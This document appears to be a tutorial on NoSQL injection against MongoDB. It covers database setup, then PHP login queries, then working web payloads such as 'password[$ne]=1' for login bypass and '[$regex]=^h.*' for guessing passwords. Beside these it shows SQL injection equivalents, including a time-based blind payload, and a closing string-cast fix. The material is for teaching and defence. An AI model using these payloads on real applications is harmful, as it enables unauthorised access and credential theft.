NoSQL Injection (MongoDB)
What are NoSQL databases (aka "not only SQL") ??
are non-tabular (non-relational) databases and store data differently than relational tables. they come in a variety of types based on their data model. The main types are document (similar to JSON objects), key-value, wide-column, and graph.
MongoDB is document based, uses the Binary JSON (BSON) data format.
RDBMS vs NoSQL: Data Modeling Example
SQL vs NoSQL Injection
in SQL injection user input processed to modify or replace SQL queries that the application sends to a database engine.
NoSQL databases don't use a common query language.
NoSQL query syntax is product-specific and queries are written in the programming language of the application: PHP, JavaScript, Python, Java, and so on.
his means that a successful injection lets the attacker execute commands not only in the database, but also in the application itself, which can be far more dangerous.
How MongoDB Works
$ sudo systemctl start mongod
$ mongosh
# By default, there are three databases that are created upon installation. (admin, config, local)
test> show dbs
# To create a database with "use", and select it though
test> use users
# create a user for the DB
users> db.createUser(
... {
..... user: "test",
..... pwd: "test123", # password
..... roles: [ { role: "readWrite", db: "users"} ]
..... }
... )
{ ok: 1 }()
# list users
users> show users
[
{
_id: 'users.test',
userId: UUID("18a00b62-6d59-41de-adec-73f4e265d0c6"),
user: 'test',
db: 'users',
roles: [ { role: 'readWrite', db: 'users' } ],
mechanisms: [ 'SCRAM-SHA-1', 'SCRAM-SHA-256' ]
}
]
Connect to MongoDB
$ mongosh -u 'test' -p 'test123' "mongodb://127.0.0.1/users"
# OR
$ mongosh "mongodb://test:test123@127.0.0.1:27017/users"
Data Finding and Filtering
# If a collection does not exist, MongoDB creates the collection when you first store data for that collection.
# insert some data
users> db.staff.insertOne({username : "hacker", password : "hacker123", city: "London", married: false, hobbies: ["hacking", "hacking", "hacking"]})
users> show collections
staff
# retrieve all data
users> db.staff.find()
[
{
_id: ObjectId("62dc609413fc8ea83f77791a"),
username: 'hacker',
password: 'hacker123',
city: 'London',
married: false,
hobbies: [ 'hacking', 'hacking', 'hacking' ]
}
]
# find With filter
users> db.staff.find({ username: "hacker", password: "hacker123456" })
# Null !!
users> db.staff.find({ username: "hacker", password: "hacker123" })
[
{
_id: ObjectId("62dc609413fc8ea83f77791a"),
username: 'hacker',
password: 'hacker123',
city: 'London',
married: false,
hobbies: [ 'hacking', 'hacking', 'hacking' ]
}
]
# using comparison operators ($lt, $gt, $ne, ...)
users> db.staff.find({ username: "hacker", password: {$ne : 1 }})
[
{
_id: ObjectId("62dc609413fc8ea83f77791a"),
username: 'hacker',
password: 'hacker123',
city: 'London',
married: false,
hobbies: [ 'hacking', 'hacking', 'hacking' ]
}
]
# the above query means, find in staff collection from users database any thing that matches :
# 1. username = hacker
# 2. password != 1 ^^ ==> NoSQL injection
# using regex ==> { <field>: { $regex: 'pattern', $options: '<options>' } }
users> db.staff.find({ username: "hacker", password: {$regex : '^h'}})
# OR
users> db.staff.find({ username: "hacker", password: {$regex : '^[a-z]'}})
[
{
_id: ObjectId("62dc609413fc8ea83f77791a"),
username: 'hacker',
password: 'hacker123',
city: 'London',
married: false,
hobbies: [ 'hacking', 'hacking', 'hacking' ]
}
]
# means the first char from the password field is 'h' or one of the char between [a-z]
PHP Code Example
# install mongodb from the docs
# install php >= 8
$ sudo apt-get install php-mongodb
$ mkdir "PHP"
$ cd PHP
$ composer require mongodb/mongodb
$ nano test.php # write the php code below
$ php test.php
test.php
<?php
require 'vendor/autoload.php'; // include Composer's autoloader
$client = new MongoDB\Client(
"mongodb://test:test123@127.0.0.1:27017/users"
);
// DBname->CollectionName
$collection = $client->users->staff;
$result = $collection->find(array(
"username" => "hacker",
"password" => "hacker123"
));
foreach ($result as $entry) {
echo $entry['username'], ': ', $entry['password'], "\n";
}
?>
Methods to Exploit
# using comparison operators
$result = $collection->find(array(
"username" => "hacker",
"password" => array('$ne' => 1) # '$ne' not "$ne"
));
# using regex
$result = $collection->find(array(
"username" => "hacker",
"password" => array('$regex' => '^h') # '$regex' not "$regex"
));
Injection Explained !!
username[$ne]=1 ===> $_POST[“username”] = array(‘$ne’ ==> 1) ===> {‘$ne’ : 1}
$result = $collection->find(array(
"username" => $_GET['username'],
"password" => $_GET['password']
));
// equivalent to
mysql_query("SELECT * FROM collection WHERE username=" . $_GET['username'] . " AND password=" . $_GET['password'])
Inject the queries using comparison operators??
// in sql
login.php?username=admin&password=" OR 1=1 -- -
// in nosql
login.php?username=admin&password[$ne]=1
// So the query becomes
$collection->find(array(
"username" => "admin",
"password" => array('$ne' => 1)
));
// equivalent to
mysql_query("SELECT * FROM collection WHERE username='admin' AND password !=1"); // always ture, unless the password == 1 ^^
Inject the queries using regex filtering??
// in sql (blindly)
login.php?username=admin&password=" OR (SELECT (CASE WHEN EXISTS(SELECT password FROM users WHERE username='admin' AND password REGEXP "^h.*") THEN SLEEP(10) ELSE 1 END)); -- -
// in nosql
login.php?username=admin&password[$regex]=^h.*
// So the query becomes
$collection->find(array(
"username" => "admin",
"password" => array('$regex' => '^h.*')
));
// simply preventing the attack
$collection->find(array(
"username" => (string)$_GET['username'],
"password" => (string)$_GET['password']
));